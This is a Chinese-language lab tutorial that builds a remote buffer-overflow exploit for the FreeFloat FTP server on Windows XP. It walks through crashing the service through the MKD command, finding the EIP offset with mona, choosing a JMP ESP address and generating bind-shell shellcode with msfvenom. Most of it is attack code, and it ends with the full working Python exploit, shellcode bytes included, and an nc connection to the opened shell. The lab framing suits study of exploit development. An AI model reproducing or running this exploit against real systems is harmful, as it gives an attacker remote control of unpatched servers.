调试机器:Win_xp_sp3中文版
漏洞软件:FreeFloat FTP
坏字符:”\x00\x0a\x0d” (所谓坏字符就是程序碰到这种字符就停止运行了,不同的程序,在不同的内存空间,坏字符是不规律出现的)

复现崩溃

使用FTP server默认配置已经存在的账户名”anonymous”编写一个针对FTP SERVER可以造成溢出的程序(使用python2解释器)

  1. import socket
  2. import sys
  3. evil = "A"*1000
  4. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  5. connect=s.connect(('192.168.0.106',21))
  6. s.recv(1024)
  7. s.send('USER anonymous\r\n')
  8. s.recv(1024)
  9. s.send('PASS anonymous\r\n')
  10. s.recv(1024)
  11. s.send('MKD ' + evil + '\r\n')
  12. s.recv(1024)
  13. s.send('QUIT\r\n')
  14. s.close

在调试机器上运行漏洞程序并使用Immunity Debugger附加,运行造成溢出的程序发现漏洞程序崩溃
image.png
发现EIP已经被覆写,而ESPEDI我们都可控

分析崩溃

接下来我们分析崩溃,利用插件mona可以生成一定数量不重复的字符并快速找到溢出点到返回地址的距离,节约大量时间
关于mona的安装和使用,详见这篇文章
在Immunity Debugger下端的命令行输入!mona pc 1000
image.png
C:\Program Files\Immunity Inc\Immunity Debugger目录下就会看到pattern.txt,打开后复制其中的ASCII码并替换原来溢出程序中的“A”*1000

再次运行溢出程序并使漏洞程序崩溃
image.png
在Immunity Debugger下端的命令行输入!mona findmsp
image.png
可以发现mona已经计算出溢出点到返回地址的距离为247个字节,而ESP和EDI我们可控的长度分别是741字节和257字节,所以等下我们考虑使用ESP而不用EDI,因为前者可控的长度长
我们重新布置溢出脚本如下:
evil = “A”247 + “B”4 +”C”*749
注意需要保证溢出的长度永远为1000字节

运行后发现EIP果然被这四个字节的B覆写
image.png
这意味着我们可以用一个指针替换BBBB, 将程序重定向到ESP所指的地方. 唯一需要注意的是这个指针不能包含坏字符,可以使用
!mona jmp –r esp
搜索这个指针下图是结果:
image.png
我们直接使用第一个地址,注意因为程序是小端序,所以要逆序输入地址,payload如下
**evil = "A"*247 + "\x7B\x46\x86\x7C" + "C"*749**
在该指令处下断点,运行后F8发现程序跳到了ESP所指向的位置
image.png

插入shellcode

利用msfvenom生成一个产生正向连接的shell的shellcode,利用-b避开坏字符并用-f生成字符
msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x0A\x0D' -f c
image.png
将输出的内容复制作为我们的shellcode,该shellcode会在自身机器的4444端口创建shell并等待其他机器连接

结束

至此,该漏洞的利用就结束了,下面是完整的攻击程序源代码:

  1. import socket
  2. import sys
  3. shellcode = (
  4. "\xd9\xc5\xbb\xdb\x2a\x0e\xd6\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
  5. "\x53\x31\x5d\x17\x83\xc5\x04\x03\x86\x39\xec\x23\xc4\xd6\x72"
  6. "\xcb\x34\x27\x13\x45\xd1\x16\x13\x31\x92\x09\xa3\x31\xf6\xa5"
  7. "\x48\x17\xe2\x3e\x3c\xb0\x05\xf6\x8b\xe6\x28\x07\xa7\xdb\x2b"
  8. "\x8b\xba\x0f\x8b\xb2\x74\x42\xca\xf3\x69\xaf\x9e\xac\xe6\x02"
  9. "\x0e\xd8\xb3\x9e\xa5\x92\x52\xa7\x5a\x62\x54\x86\xcd\xf8\x0f"
  10. "\x08\xec\x2d\x24\x01\xf6\x32\x01\xdb\x8d\x81\xfd\xda\x47\xd8"
  11. "\xfe\x71\xa6\xd4\x0c\x8b\xef\xd3\xee\xfe\x19\x20\x92\xf8\xde"
  12. "\x5a\x48\x8c\xc4\xfd\x1b\x36\x20\xff\xc8\xa1\xa3\xf3\xa5\xa6"
  13. "\xeb\x17\x3b\x6a\x80\x2c\xb0\x8d\x46\xa5\x82\xa9\x42\xed\x51"
  14. "\xd3\xd3\x4b\x37\xec\x03\x34\xe8\x48\x48\xd9\xfd\xe0\x13\xb6"
  15. "\x32\xc9\xab\x46\x5d\x5a\xd8\x74\xc2\xf0\x76\x35\x8b\xde\x81"
  16. "\x3a\xa6\xa7\x1d\xc5\x49\xd8\x34\x02\x1d\x88\x2e\xa3\x1e\x43"
  17. "\xae\x4c\xcb\xfe\xa6\xeb\xa4\x1c\x4b\x4b\x15\xa1\xe3\x24\x7f"
  18. "\x2e\xdc\x55\x80\xe4\x75\xfd\x7d\x07\x68\xa2\x08\xe1\xe0\x4a"
  19. "\x5d\xb9\x9c\xa8\xba\x72\x3b\xd2\xe8\x2a\xab\x9b\xfa\xed\xd4"
  20. "\x1b\x29\x5a\x42\x90\x3e\x5e\x73\xa7\x6a\xf6\xe4\x30\xe0\x97"
  21. "\x47\xa0\xf5\xbd\x3f\x41\x67\x5a\xbf\x0c\x94\xf5\xe8\x59\x6a"
  22. "\x0c\x7c\x74\xd5\xa6\x62\x85\x83\x81\x26\x52\x70\x0f\xa7\x17"
  23. "\xcc\x2b\xb7\xe1\xcd\x77\xe3\xbd\x9b\x21\x5d\x78\x72\x80\x37"
  24. "\xd2\x29\x4a\xdf\xa3\x01\x4d\x99\xab\x4f\x3b\x45\x1d\x26\x7a"
  25. "\x7a\x92\xae\x8a\x03\xce\x4e\x74\xde\x4a\x7e\x3f\x42\xfa\x17"
  26. "\xe6\x17\xbe\x75\x19\xc2\xfd\x83\x9a\xe6\x7d\x70\x82\x83\x78"
  27. "\x3c\x04\x78\xf1\x2d\xe1\x7e\xa6\x4e\x20")
  28. buffer = "\x90"*20 +shellcode
  29. evil = "A"*247 + "\x7B\x46\x86\x7C" + buffer + "C"*(749-len(buffer))
  30. s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  31. connect = s.connect(('192.168.0.106',21))
  32. s.recv(1024)
  33. s.send('USER anonymous\r\n')
  34. s.recv(1024)
  35. s.send('PASS anonymous\r\n')
  36. s.recv(1024)
  37. s.send('MKD ' + evil + '\r\n')
  38. s.recv(1024)
  39. s.send('QUIT\r\n')
  40. s.close

运行后在xp调试机器上打开cmd输入netstat –an,发现已经在4444端口创建了一个shell并等待连接
(左图为运行前,右图为运行后)
image.png

最后我们使用nc便可连接并控制这台机器
image.png